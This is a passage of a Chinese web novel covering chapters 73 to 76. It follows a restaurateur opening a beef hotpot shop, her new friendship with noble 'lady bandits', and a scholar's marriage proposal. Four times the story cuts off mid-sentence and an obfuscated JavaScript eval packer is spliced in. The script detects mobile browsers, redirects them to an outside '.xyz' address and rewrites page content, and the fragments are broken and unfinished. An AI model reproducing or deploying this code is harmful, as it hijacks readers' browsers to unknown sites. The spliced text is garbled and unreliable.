“瑾娘要往乡下走一趟，看养牛场。这些时日不太平，老有流窜的江洋大盗。我作主，叫你陪瑾娘走一趟。毕竟也是人家的未来兄长嘛。” 萧仁禹的嘴角一路逐渐勾起。听到最后一句话，瞬间耷拉下来了。 “哎，你听见了吗？清珩也真是的，左催也不来，右请也不回，真不知道上哪逍遥去了。要我说就别等她了，早日认亲早......” “应该快了。”萧仁禹直接打断。 蒋长昭再次奇怪地看了他一眼。 萧仁禹把腰间的荷包翻了个面。应该，有些苗头了。 * “喏，也该用午食了，便在这里停下歇歇脚吧。” 蓝锦放下车帘子，扭头对上拿着本《尚书》在看的萧仁禹。 谁家装装怪，有这样看书的吗？那书一路都没翻一页。 《尚书》再难，也不至于此吧。 萧仁禹立刻响应，殷勤地打着门帘。 蓝锦一步跳了下来。 这是一家做歇马杯生意的茶摊子。小小的草庐，立于江畔。 树木葱茏蔽日，林间的雾气裹着渐远的鸟鸣，平添几分野趣。 这等成色的好景，若是搁在后世，只怕要游人如织。难有这样二人相对而坐的闲情逸致。 蓝锦自家带了酱卤牛肉。点了槐叶冷淘，炸糖糕，罗汉面筋，肉烧饼，荇菜汤。 萧仁禹全听安排，只说锦娘爱吃什么，他便爱吃什么。 她自然不客气。这些小食里，她最期待那道槐叶冷淘。 夏日里头，采了青绿的嫩槐叶，焯水碾汁，过滤和面，做成极细的凉面。 拌上酱油、香醋、腌菜碎，往往叫人胃口大开，极驱暑热。 那可是杜子美都说“加餐愁欲无”的东西——还没吃，就说怕不够。 这道碧色的冷淘一上桌，蓝锦就迫不及待地动了筷子。 那股鲜味在的，如是便不错。 萧仁禹还是一如既往皱起眉头。吃过了锦娘整治的食物，路边小摊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561767|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出品，就难免荒腔走板了些。 他不慌不忙，掏出从蓝记拿的拌饭酱，配上一点玫瑰大头菜。 如是化腐朽为神奇，吃得津津有味。 蓝锦扑哧一笑，挑嘴探花还真是人设不倒。 炸糖糕圆圆的一个，外层酥脆，近于绯色。里头却是雪白流心，是猪油和糖做的馅。 蓝锦小口嚼着，香甜绵糯。 初初一口还好，吃多了觉得不如吴老太的麻圆，夏日里吃怕是失于油腻，冬季做朝食倒是极好。 罗汉面筋倒不错，外圈一层十八个香菇，是煮过卤了的。 面筋也浸了咸甜卤子，自身倒有些脆弹。店家收拾得干净，没有酸味，又是凉菜，蓝锦很爱吃。 “怪道叫罗汉面筋，原来是用菇作比。”蓝锦夹了盘中最后一块面筋，笑道。 因着蓝锦喜欢，这一碟子萧仁禹没动几筷。他仍道：“不如蓝记多矣。” 蓝锦促狭道：“萧探花实在是圣人做派，食不厌精，挑剔不停。” 萧仁禹只道：“饮食有方，非味不食，也是节制自守。” 蓝锦捧着肉烧饼，吃得眯眯眼。萧探花还真是奉行君子之道，行止严苛，一心做个标准的读书人。 不过，倒是放下手里的蓝记拌饭酱再说呀。 肉烧饼水平极佳。不过掌心大小的饼，表面一层细密的芝麻，里头起了层层的酥。 薄薄地裹了一层肉馅，咸香适口。 一口咬下去，酥得掉渣，香味四溢。 搭上新捞起来的荇菜汤，清甜滑嫩，一撮薄盐调味而已。 江风一吹，蓝锦只觉骨头缝也酥了。 萧仁禹已经熟悉了锦娘这副表情，每每饭后，都是她最放松惬意的时候。 不是杀伐果断的蓝大掌柜，也不是长袖善舞的梁府贵女。 像一只优雅舐爪的斑纹猎豹。哪怕是静下来的姿态，也能看见眸中欲行千里的自在。 蓝锦懒洋洋地点评：“临水果然有好风物。这道荇菜汤，如果离水再多几个时辰，只怕就没有这般鲜味了。” 萧仁禹果真舀了残汤来尝，是极。 “不知这里的江河通往何处，倘若到了江流入海的地方，一定有好鱼。” “等到它们洄游产卵，最是肥美，每年只有那么一点时日。可惜不能亲至。” 好比江海交界处的鲥鱼，出水即食，肥甘好味。 如今也没个高铁，今年的鲥鱼，她是吃不上了。不知那该是什么滋味？ 蓝锦带着一点向往的遗憾，就这么遥望着江天一色的尽头。 萧仁禹恍惚间有一种感觉。若是锦娘生了翅膀，只怕会慨然振羽，翩然飞去了。 “也不是没有法子，家里不是有商队？船上也有养鱼的老手。” “运些生鲜至天都，也并非头一遭。总有许多路子，不是什么难事。” 萧仁禹语若清风，不疾不徐，凭空带来几分抚慰人心的成效。 蓝锦粲然一笑：“是极，世间哪有全然无法的事，实在不必提前庸人自扰。” 她心思流转，若是在原本的时空碰到这个人...... 罢了，已经说过不必自扰。 74. 第74章 “客官，里面请！” “清汤锅五位，客人，这边有小料台！” “有沙茶酱，普宁豆酱，芝麻碎，辣酱，蒜蓉，辣椒，酱油，香菜，葱花，您想自己调，还是让我来帮您？” 蓝锦包着头巾，笑盈盈地守在蓝记牛肉火锅的大堂。 之前跟萧仁禹一起下乡，见着自家徒孙桌子，晒得黑炭一般。蓝锦险些没认出人。 可他办的养牛场倒是红火。 于是，新溪坊的蓝记敲锣打鼓地开了张。前头开店，后头养牛。 中间隔了一片曲水流觞的中庭。浓荫蔽日，清香宜人。 伙计脚程飞快，刚宰杀的鲜红牛肉，流水一般地运往前头厨房。 十好几位厨子一字排开，手起刀落。案板上的牛肉如雪花般“唰刷”坠落，令人眼花缭乱。 如是，一盘盘新鲜的手切牛肉端上客人的餐桌。 肥美白嫩的肌间脂肪，亮津津的。鲜红的肌肉还在颤颤地弹跳。 蓝锦把袖子拢起，人利索，手也麻利。 左手拿着一个大笊篱，右手拿一双长筷子，正在现场教大家如何吃牛肉火锅。 时下的天都人，还没有精细到吃牛羊要分部位。 也就是蓝记，开了大众食店的饮食先河。 “我家用的是鲜肉，讲究文火涮肉，用那小火，不要叫它沸腾。” “涮的时候，三上三下。一吊去血水，二吊去酸气，三吊软肌理。” 只见长筷子一搅，薄如蝉翼的鲜红牛肉片，一经汆烫，变得艳红发褐。 蓝锦拎起满笊篱的肉，霎那间被满桌的筷子一抢而空。 “我们蓝记继承了一位丁姓大厨的遗志，把牛身分解，部位分开。” “您看桌上的分剖图，墙上也有面大的。” 果然，一只空心牛，叫画笔大卸八块。 白底红线，各个写上了不同的名字。 匙仁、匙柄、吊龙、吊龙伴、嫩肉、牛舌、胸口朥、肥胼、三花趾、五花趾...... 叫人眼花缭乱，叹为观止。看不懂，但好像很好吃。 “觉着不熟悉不打紧，您吃一次，就知其中趣味。” 每个部位都写了涮煮时长：数十个数，数十五个数...... 一时之间，满店的人都念念有词。 小秋的同窗们都来捧场。个个吃得满面红光。 “这个吊龙，甜美滑嫩，爽口却不腻人！我最爱吃。” “我最爱花趾，涮成个小窝窝，嚼起来筋肉相间，脆，弹，嫩！” 小秋率先道：“那是牛腱子最中心的部位，当然好吃！” 蓝锦笑盈盈地接口：“是极。尤其这五条筋的五花趾，一头牛身上，拢共才出一斤多点，来晚了可就没了。” 支着耳朵偷听的客人马上吆喝：“掌柜的！再来两份五花趾，香美了！” 牛肉锅香飘十里。店里已经翻过一次台，排队的长龙还是到了店外。 伙计们还在不遗余力地宣传：“我们蓝记牛肉火锅，选的都是三岁的母黄牛。” “肉质优中之优，顶适合涮锅子。公黄牛都只用来打肉丸子罢了！” 锅子里的牛肉汤气味勾人馋虫，鼎沸的人声混杂着袅袅的热气。 好容易落座的客人，都迫不及待来一整套“掌柜亲荐”的渐入佳境套餐。 先涮牛肉丸或牛筋丸，抑或双拼。前者取其弹嫩，后者取其脆润。 吃肉要先瘦后肥。首先吃涮牛嫩肉，再吃花趾。接着吃匙柄和匙仁，吊龙和吊龙伴。 最后拿那肥胼和胸口朥，润口增香。这一顿吃下来，简直是无上的享受。 客人无不酣畅淋漓，不住赞道：“小娘子巧思，别处吃不到这样的精细。” “这个沙茶酱，看着不起眼，谁知极鲜美！里头有海鲜味，还有葱头味，香得不得了。” “我刚才还想问是怎么做的，掌柜的不告诉我，哈哈！” “客官只要想吃，就来我这蓝记牛肉火锅店。把手一伸，美味就送到嘴边了。什么事也不费，多划算的买卖。” 蓝锦把一碟子白花花的粿条往桌上一搁。 粿条，也就是扁扁的河粉，大米磨粉制浆，蒸片切条 吃完了牛肉，涮过了蔬菜。把粿条放进锅里，一涮一捞。 放进料碗，裹了满满的沙茶酱、海鲜酱油、小米辣、小青桔汁，吃起来有一桩新奇的别致。 爽滑弹香，带一点恰到好处的韧劲。 又不是咬不断的那种。越嚼越想，米制品的香醇满溢唇舌。 看一看满堂客人，一筷子一筷子不停往嘴里送的吃相，就知此物美味了。 “客官，您留神！” 伙计拎着一锅现卤的牛腩来到大堂，瞬间吸引了大伙的目光。 肥美咸香，软烂发颤。 一口下去，恨不得像没吃似的，全化在嘴里了。 牛筋肥嘟嘟的，烂乎的像是一汪水。 吸溜那么一下，荤香就沁满了嘴巴。每一根肉丝都浸满了香味复杂的卤汁。 叫人忍不住发问，怎么刚吃一口就上瘾了？ 恨不得每天都能吃一坛子！ 旁边的大瓮里，盛的是牛肉干。 这原是蓝锦自己的小爱好。关于牛肉干的种类，她来者不拒。 含水量足的，软嫩肥美的，她喜欢。 风干得厉害，嚼劲十足，余味悠长的，她也爱。 麻辣的、五香的、孜然的、蜂蜜咸甜的...... 自此之后，天都悄悄刮起一阵风潮。 上学堂的孩童，往往偷摸拿书遮面，自以为人不知鬼不觉，往口中塞蓝记牛肉干。 不能吃辣，偏还买辣的。 憋得小脸通红，额角冒出细汗，还有把嘴闭得紧紧的，生怕味道跑走一丝。 这段后话，最终以蓝记和学堂合作，将牛肉干算作读书读得好的奖励，方才落幕。 萧仁禹一如既往来到蓝记酒楼，倒是扑了个空。 悟雅一惊一乍的：“我们娘子未曾说吗？今日新店开张。萧郎君要见娘子，该去新溪坊，怎么摸到这里来了。” 悟雅冲她挤眉毛。端出一份师父做的牛肉粥，砂锅温着，中央窝了一个半生不熟的蛋。 师父也真是的，一边躲着萧翰林，一边又怕他真的没得吃。 滚烫的米粥，缀着牛肉末，漂着大片牛肉。 熬出来的大米胶质，给牛肉上了一层滑嫩的浆。 萧仁禹轻手轻脚搅拌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567357|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 蛋黄悄然融进牛肉粥，渐渐焖得熟透。香味也愈来愈浓，扑面而来。 何时能融了锦娘的心，那就好了。 粥不烫口，温暖鲜香。从嗓子到胃，一路都是熨帖的。 还有一份生煎包，一份煎饺，倒是勾起他们曾在落霞村的记忆。 只是生煎换成了全发面，更加暄软。馅也改了牛肉。 个个发得像小拳头，两面都煎得油光发亮，起了焦褐的嘎巴。 萧仁禹已经驾轻就熟，咬的时候要格外当心——不能一大口，把嘎巴全咬破。那就烫着了。 须得先咬一个口子，吹上几口凉气，等那汤汁子不再冒着烫人热气—— 一口塞进嘴里。肉满汁浓，面香而暄，满足极了。 牛肉煎饺更是由散装变整盘，底下还有漂亮的冰花。 使淀粉水往底下一激，滋滋啦啦。再把锅往盘子上一倒，才有一整面雪花状的红褐脆壳。 这明显是刚做好送过来的，那冰花还脆得发酥。吃起来带点恰到好处的咸味，使煎饺的油香更盛。 想到此处，萧仁禹心下稍松。 锦娘就是这样。什么一经她的手，都能点石成金。 街头小食，也全然登得起大雅之堂。 是潇洒自在，超脱世俗，又积极入世的女郎。他很钦佩。 * 蓝记火锅店再度引爆天都。吃美了的客人自顾自聊了起来。 “蓝掌柜，城中也有仿你这牛肉锅子的！可是他们肉不够新鲜。” “我现在已经叫蓝记养刁了嘴。不是三岁母黄牛的肉，不是刚杀的还跳着动的肉，我都进不了嘴嘞。” “哎嗨，就算不为吃肉，蓝记的调料台也是旁处学不来的。” “有花椒、胡椒这样的贵价香料。还有芫菜、香芹末、香葱花，拾掇得利利索索的，全都任我们取用。” “蓝记的酱油也不是别处好比的，我反正是从未吃过，这种又鲜又醇厚的好味道。” “拿这个往我嘴里一倒，我都得把自己舌头吞下去！” 蓝锦觉得好笑，又给每一桌夸夸的食客都送了一大盘生菜。 “自家种的，旁处也吃不着这个味道。又香又甜又脆口，空口吃都好吃。” “果真如此，为这菜叶子，我也得日日来。” “锦娘！” 一个熟悉的声音响起。 蓝锦闻声扭头，但见一个鹅黄衫裙的俏丽女娘站在蓝记门口。 “琴姐姐！” 二人激动地拉住对方的手。 “呜呜，琴姐姐，好久没见你了。” “锦娘长高了，脸色也更好看了。想是生活得不错，我就放心了。” “琴姐姐如何不来找我，之前去信，等了又等，却只收到了你早先的来信。我还以为琴姐姐不想理我了。” 蓝锦怀着一种怕打扰对方生活的心情，只遥遥暗祝。 “怎么会，我忙着药铺的事，恨不得生出八条臂膀。听闻你的酒楼红火，高兴还来不及。我在昭应的药铺也要来天都开分号了！” “真的？那太好了！近来天都周边闹匪患。琴姐姐此来，一路可平安？” “匪患？没有遇见，倒是碰上一队......” 75. 第75章 “碰见一队什么？”蓝锦紧张地问。 一群执鞭佩剑的女娘，系马桥头，大步流星踏入蓝记。 “这里也叫蓝记？” “是不是卖火焰醉鹅的那家蓝记小馆，想不到已经开到这儿来了。” 安琴回头冲她们招手：“在这儿！” 笑盈盈的，正要同蓝锦介绍：“瞧，路上我的车坏了，幸亏碰见一队侠女。平素爱做些劫富济贫的事，好生洒脱的。这是位......” “蓝掌柜？”萧清珩一甩发辫，惊讶道。 蓝锦一挑眉毛，她虽不熟识，也热情地与她打招呼。 安琴笑靥如花：“你们竟认识。也对，我们锦娘的性子，合该交些侠女朋友。” 两方因为安琴的话，都对彼此有些好感。 蓝锦张罗着为琴姐姐接风，也把萧清珩的小分队邀上了。 自家有好牛肉，那必定得用上。 蓝记的厨子，按传统川菜晾干肉的做法烹制，改用麻辣味。 又将猪肉换成牛肉，近乎像后世的大火零嘴，灯影牛肉。 牛肉片成薄而大的肉片，提前用盐和花雕腌拌了，贴在木板上晾一两个时辰。 小心揭下，切作小方块，放到温油锅里，炸成金黄色。 油锅爆香了葱姜蒜，下入肉片翻炒，添些玫瑰大头菜佐味。 再放盐、花雕、酱油、糖、辣椒和高汤。收了汁，撒芝麻，再点上香喷喷的麻油。 如是，亮到反光的灯影牛肉便做好了。 萧清珩夹起一片，对着窗户来看：“哇，的确能看到灯影，有趣。” 这群娇生惯养长大的天都女娘，看着这些冷碟，一开始还不报什么希望。 只是肉嘛，能做出什么花样来？ 若非陪着一路相谈甚欢的安琴姐姐，她们也没打算来这里。 天都上好的大酒楼有很多嘛。 就算是牛肉，也没稀罕到这种程度吧？ 眼看萧清珩一口接一口，津津有味地吃起来，这才放下喝饮子的手，箸如雨下。 好吃，真的好吃。 薄如蝉翼，脆而韧，恰到好处的嚼劲，巧妙地避免了柴硬。 初尝上去，甜滋滋的。而霸道的咸香与麻辣，紧随其上，摄住了整个舌面。 这真的是牛肉吗？她们怎么没尝过这个吃法？ 一时满桌女娘都在仓鼠嚼，大呼“好辣”，但谁也不停口。 蓝锦又端来一份金银肘子。安琴拉着她坐下，不叫她继续为自己奔忙。 几人一聊，蓝锦才知，这些侠女们，都是外出游学的天都贵女。 “蓝娘子，你家的灯影牛肉真美味。我从来没吃过这么好吃的牛肉！” “娘子家的辣椒也好。我们劫的一个大户，就是做西南生意的，他家的饭菜都没有蓝记的滋味。” 蓝锦四处看看，幸好楼里没有什么刑部的官员。 小声道：“这也是可以拿出来说的吗？你们就不怕我去报官了？” “安琴姐姐总不会害我们。” “我们做得可小心了，他们都以为是流匪干的。” “这些都是天都周边的蚂蝗。吸了百姓的血，全送到天都显贵的口袋。” “可惜我们才干成了一两票，不过，罪证倒是找到不少！” “收到赃银的乡民们可高兴了。原先好些人穷得连一文钱都舍不得花。” “都怪那些硕鼠，只恨不能根除！” 蓝锦问道：“如何不接着做下去了？” 女娘们讪讪的，尴尬地捧着饭碗，把脸埋了一半，露出小秋的神态。 “盘缠......盘缠花完了......” 蓝锦笑了，真是可爱的侠女，无私行道，一点油水都不抽的。 她起身拆了金银肘子，给她们分食。 “在外可是吃得不太好？多吃些补一补。” “这道菜一半是火腿炖的肘子，去了骨，里头酿了火腿。” “一半是红烧肘子。两种滋味，外头不好见着，尝尝看？” 蓝锦轻描淡写，实际做起来颇费功夫。 整只的肘子要去了骨，里头改塞火腿。就如青椒酿肉一般，是“酿”的手法。 肘子皮经了多道工序，冷热相激，变得香而不肥，弹而不硬。 炖烂之后，多种异香，尤其是火腿，相缠相绕。不是单一味道的肘子菜可比的。 “唔！香嫩。” “肘子的选材也好，肥厚，又不腥腻。” “这皮子颤颤的，一吃下去，像喝水一般。” “你要舀上半勺碧粳米，搭着一起嚼，更加美味。” “蓝记不仅擅做牛肉，还擅做肘子。” “我们锦娘，就没有不会做的菜色。” 安琴骄傲极了。 “客官，竹升面来了！” 伙计流水似地走进厢房，托盘上的一碗碗竹升面，打眼一晃，欺霜胜雪。 北方有句话，下马饺子上马面。 若要迎归人，须得用细长得好似没有尽头的面条，绊住人家的脚。 未说出口的绵绵柔情，实在浪漫。 若论起缠腿的本领，劲道的竹升面，大概也能稳坐前列。 虾头、虾子炖的底汤，搭上大地鱼干，鲜不可言。 汤头清冽，微微泛黄。 硬弹爽滑的面条，是用一根粗竹一下下压出来的，自然地打着一个个小卷。 上头搁了几根青绿的菜心，摆着几块酱红色的烂乎牛腩。 牛筋糯滑，牛肉咸香，又添一种荤鲜。 汤宽面窄，在座的诸位女娘埋头边吸边嚼。吃到最后，个个鼻尖冒汗。 皆情不自禁地捧起汤碗，不舍得放过最后一口汤。 那种特殊的碱味，搭上硬质口感，搭上鲜香汤头，叫人欲罢不能。 一直到吃完了，才反应过来已经肚儿溜圆。 * 萧仁禹走出御书房，雨后的天边起了灰蒙蒙的薄雾。 圣人又露出了叫他提携二皇子的意思。 他脚步比以往更沉滞，几不可察。 二皇子虽然行迹放浪，却也得了圣人属意。 圣人有意让他教着带着。 怕萧仁禹不尽心，恩威并施，可谓操碎了心。 殿内，小黄门精心侍奉着，闲翻奏折的圣人状似随口一问。 “依你看，萧仁禹如何？” “回圣上，这......奴才可不懂这些......” 圣人本也没打算得到他的回答，自顾自说道：“承彦这孩子，淘气了些。叫怀瑾看顾着，总不至于长得太歪。” 小黄门露出一个夸张的笑容：“二皇子英明神武，圣上神机妙算。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573041|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 圣人“嗤”了一声：“少在这阿谀谄媚，朕可不爱听这些好话。” 他拿起萧仁禹的折子，再度翻看，心中唏嘘。 多聪明的孩子，怎么就不能托生到他家。 他不得不承认，二皇子若有五分萧仁禹的才智，只怕他就不会如此悬心了。 小黄门的奉承并未停止：“二皇子有萧探花帮着，必能如虎添翼，再增功绩呀。” 圣人遗憾道：“终究不是血脉相连，贴心也有限啊。只怕承彦拿捏不住，孤零零的，独自辛苦。” “圣上，怎么会是孤零零的？殿下还有一母同胞的妹妹，三公主也是解语花一般的性子......您不必忧心太过。” 虽然只是遵从了贵妃的指派，在圣人面前装出来的罢了。 此言一语双关，圣人也叫它提醒了，眉头舒展。 “只等以后，把安华指给怀瑾。让他做了承彦的亲妹婿，不怕他不尽心。” 身边的小黄门心知肚明，圣人一早就有这个打算。 只是贵妃看不上萧仁禹是武将人家出身，非要给安华找个好收服的白面书生。 这事才不清不楚地搁置了下来。 圣人不太在乎贵妃的小性儿，日久天长，她的想法终究会变的。 他也曾试探过怀瑾的意思。 怀瑾不卑不亢：“臣耽于经籍，志在翰墨，未有婚嫁之念。” 也罢，就先叫他醉心案牍好了。那就不会叫旁人抢了去。 总有一天，若自己正式挑明许嫁公主的意思，臣下必会诚惶诚恐地谢恩。 若他真是不愿......那也由不得他。 刚好折了他的傲气。 叫他为谢氏江山，更加死心塌地。 萧仁禹有些失神，再抬头时，又是不知不觉地踱步到了蓝记。 今日门外添了些风尘仆仆的马车，还有几匹饱经风霜的好马，不耐烦地甩了甩蹄子。 店里来了江湖客？ 萧仁禹加快脚步，搜寻锦娘的身影。 不在柜台，好在楼内一片祥和，宾客们推杯换盏，不像有过什么麻烦。 悟雅拎着一篮木瓜，来换酒楼门口小几上的香薰盘。 “萧翰林，来寻我们家娘子？娘子今日宴客，在二楼厢房，喏，那一间就是。” “宴的什么客，需要你家娘子亲自招待？”萧仁禹状似无意地问道。 “是琴姐姐呀！听说还有她路上碰见的一队江洋大盗，专门做劫富济贫生意的。” 萧仁禹心中一紧。 “后来上菜的伙计才悄悄告诉我们，原来她们都是天都贵人家的小娘子！” “个个都有身手，行侠仗义，四处接济百姓，是大大的善人。盘缠花完了才回来的！” 悟雅压低了声音，彷佛在分享什么了不得的秘密。 电光火石之间，萧仁禹想到一伙人。 “蓝姐姐！今日交了你这个朋友，我恨不得立刻起誓皇天后土，与你拜了把子，做了姐妹！” “好！若你早回来，估计萧府的认亲宴都摆过了，我还想着做一道天都人都没吃过的大菜！不过，现今也不迟。” “都怪我哥，硬是不叫我回来，还来信威胁我。哼，告诉长辈便告诉，我们怕他作甚！咱们侠女，莫非还见不得光吗？” “吱呀”一声，厢房门开了。 76. 第 76 章 蓝锦难得酒酣耳热，鬓边的海棠绢花也敌不过她脸颊的绯红。 一屋子女娘东倒西歪。 凉风一吹，萧清珩率先醒了神：“......哥，你怎么在这？” 萧仁禹的嘴唇抖了抖：“这话该我来问你才是，劫富济贫萧大侠。” 满桌的笑闹都止住了。 蓝锦带着五分醉意，笑颜流转，起身上前打圆场：“萧探花想是醉了，如何误闯到我们女娘的小宴来。” 她扭头，给到底有几分心虚的萧清珩使了眼色。 继续吃继续玩，交给她处理。 萧仁禹看着脚步发软的锦娘，还来逞强扶他的臂膀。 手腕一回，架住了她的肘。 二人选了个没人的厢房进去。 蓝锦想去拿青瓷壶倒杯酸梅冰饮，萧仁禹先一步提起把手，往碧玉杯里缓缓倾倒。 琼浆如珠，向下宛转坠落。 小娘子却仰起一张笑面，抬头看他： “萧探花也没有那么生气嘛。缘何她们吓成那个样子？” 萧仁禹叫她看得不好意思，人还嘴硬：“如何就看出我不气了。” 蓝锦歪着头，指尖轻拈杯壁，在指腹间来回转动。 杯子不稳，酸梅饮子险些要泼出来。 萧仁禹叫区区一杯饮子弄得不上不下。 想直接拿到自己手中，又担心此举过分唐突。 “萧探花，女娘家爱仗剑走天涯，又有什么不好的？我瞧着她们快意恩仇，洒脱欢畅，不知有多开心。” 萧仁禹的脸上，带着一点无可奈何：“这些事自有衙门料理，何必这般不守规矩。” 蓝锦畅畅然抿一口酸梅饮。唔，沁透脾胃的凉爽酸甜，叫热烫的身子降了些温，舒服。 她贪恋地捧着冰爽的小盏，把脸颊凑到杯壁旁边，贴着这丝凉意。 萧仁禹站起身，一言不发地取来拧干了水的冰帕子。 蓝锦大方接过，随手覆在脸上，舒服得小声叹了口气。 “萧探花，你还用绣了鸭子的丝帕，哈，真是童心未泯。” 萧仁禹心中腹诽，你的帕子不也是吗？ 蓝锦把丝帕折成一个细溜长条，顶在鼻尖，试图做出一个斗鸡眼。 帕子滑，搁不住，顺着蓝锦未施粉黛的面颊一路溜下去。 青色掩不住活泼芳颜。 萧仁禹心头微微一动，先一步捉住叫锦娘玩热了的丝帕。 蓝锦笑嘻嘻的：“萧探花是做兄长的人，行事周到妥帖，如何要为难自家妹妹？” “还去信威胁，不许她回家。她可一五一十，都告诉我了，你抵赖不得！想不到萧探花平素光风霁月的，私下是这般行止。” 萧仁禹似笑非笑：“那她有没有告诉你，是她碍着我的终身大事，我才不许她回来。” “我从来不是什么光风霁月的君子。锦娘，你当真不知我在急什么吗？” 蓝锦心头，倏地划过一道急促的电流。 她还是借醉态打岔：“萧探花又说笑了，我与你非亲非故，如何能知道？” 话题也转得生硬：“说起来，清珩真是怪有本事的。第一次出手，便做得这般利落。” “我同她一见如故，即使是陌路相逢，我也想让她做我妹妹。真是羡慕你啊，萧探花。” 萧仁禹站在红花梨木椅子后头，一只手紧紧攥着椅背，不错眼地盯住蓝锦。 “锦娘这么羡慕，这却不难。” 蓝锦飞速接上气口：“是极，蒋姨母还盼着快快办了认亲宴。如今清珩也不反对，事情没有不顺的了。” “锦娘当真不好奇，萧清珩为何会碍了我的事吗？” “这个......人人都有难以启齿的私欲嘛。自家妹妹，不过晚回家几天而已，终究无妨的。” 蓝锦笑得大方得体。 “不。”萧仁禹往前迈了一步。 “是我不愿叫母亲认下一个干女儿。我只愿让我娶回一个夫人。锦娘，我是这个意思。” “倘若这位小娘子，做了萧家的女儿。我该如何求她，应允这份唐突之请，与我执手余生？” 蓝锦的酒一下子醒了。 夫人？ 姻亲？嫁人？ 她心头一片乱麻。前世今生所有的想头加起来，她都没有往这个方向放过一丝一毫。 恋爱都没谈的人，突然就在这聊谈婚论嫁的事。 自从穿来了这里，她原是一心为生存计。 虽回头看时，日渐有了许多羁绊，也都是意外收获。 让她在异时空赚钱，她毫无顾虑。 保准一猛子扎进去，上刀山下火海也在所不惜。 叫她谈情说爱...... 须知爱情可是比财富更罕见奢侈的东西！ 所以那些悄然滋长的苗头，若有若无的暗示，都叫她掐灭了去。 她拒绝不安与不确定，一心赚钱。 揣进兜里的银子才是踏实的。 萧仁禹看着蓝锦的神色变幻不停，心里倒是轻松。 锦娘什么都懂，不是真的铁石心肠。 蓝锦极快地找回了自己的理智。 还好。人家说的话毕竟体面委婉，没有点名道姓，也没有强硬要她做什么。 她深呼吸，尽可能冷静地开口，嘴角甚至还噙着笑。 “萧郎君，多谢你告诉我这些。我自会去寻蒋姨母说的。” “认不认亲的倒没什么，不过为着我母亲罢了。两位长辈间的真情，实在叫我动容。至于其他的，我现在的状态，不太适合想......” “因为锦娘，不是从前的瑾娘吗？” 萧仁禹轻声道。 怕吓着蓝锦，又留了话口，说了模棱两可的话。 蓝锦却听出了他的话外之音，心脏瞬间蹦到嗓子眼，清晰可闻。 他怎么知道的？ 别人知道吗？梁老夫人知道吗？蒋姨母知道吗？ 蓝锦稳住神色，只简单道：“人人都会变的。” 说罢，起身告辞，就要开门离去。 “锦娘。” 蓝锦一回头，只见他青竹一般地伫立在房中，面容柔柔地笼上一层雾。 语气竟带着一种难以察觉的哀求： “日后唤我怀瑾，好吗？” 不要同他生分。 * 蓝锦心不在焉，手下有一搭没一搭。 蒋长昭力盼的认亲宴，还是叫她推拒了。 只说是怕麻烦，大宴宾客的，平白叫人看猴戏。 日后仍旧常来常往，自家亲香便好了，不在于那个名头。 蒋长昭也没有勉强，还以为是萧清珩吓到了人家。 ——她一归家， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578538|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去蓝记吃了顿饭，瑾娘就换了个口风。 “没有的事！我跟蓝姐姐可要好了，还同她妹妹秋姐儿一起练鞭子的！” 蒋长昭新账旧账一起算。 现在她不再吃素，力气只有更足的。当下就抽出鞭子，追着她满府兜圈。 “你还敢提鞭子！拐带了那么多的闺阁女儿，口口声声告诉我是游学。结果拉了大旗，你倒去做江洋大盗！” “真当自己是燕赵游侠。现在还要去拐带秋姐儿！从此你就待在家里，哪儿都别想去！” 小秋这厢却是春风得意。 她刚下学回了蓝记。在学堂大秀鞭法，把一群同窗唬得一愣一愣的。 “阿姐，我回来了！有没有吃的？今天真是太累太饿了！” 小秋冲下马车，浑身折腾得皱巴巴的。 四处瞅瞅，没见着往日来迎自己的阿姐，柜台也没有。 摸了一枚金灿灿的蛋黄酥，往嘴里一塞。 叫悟雅捉个正着，领回后院换家常衣服。 蓝锦人在灶间，只顾着恶狠狠地收拾甲鱼。 汝月观察了一会儿，特意把安琴喊来，好开解一二。 甲鱼这种食材，太过独特，几乎无可取代。 可以清炒，可以酱炒，可以炖汤，无一不鲜。 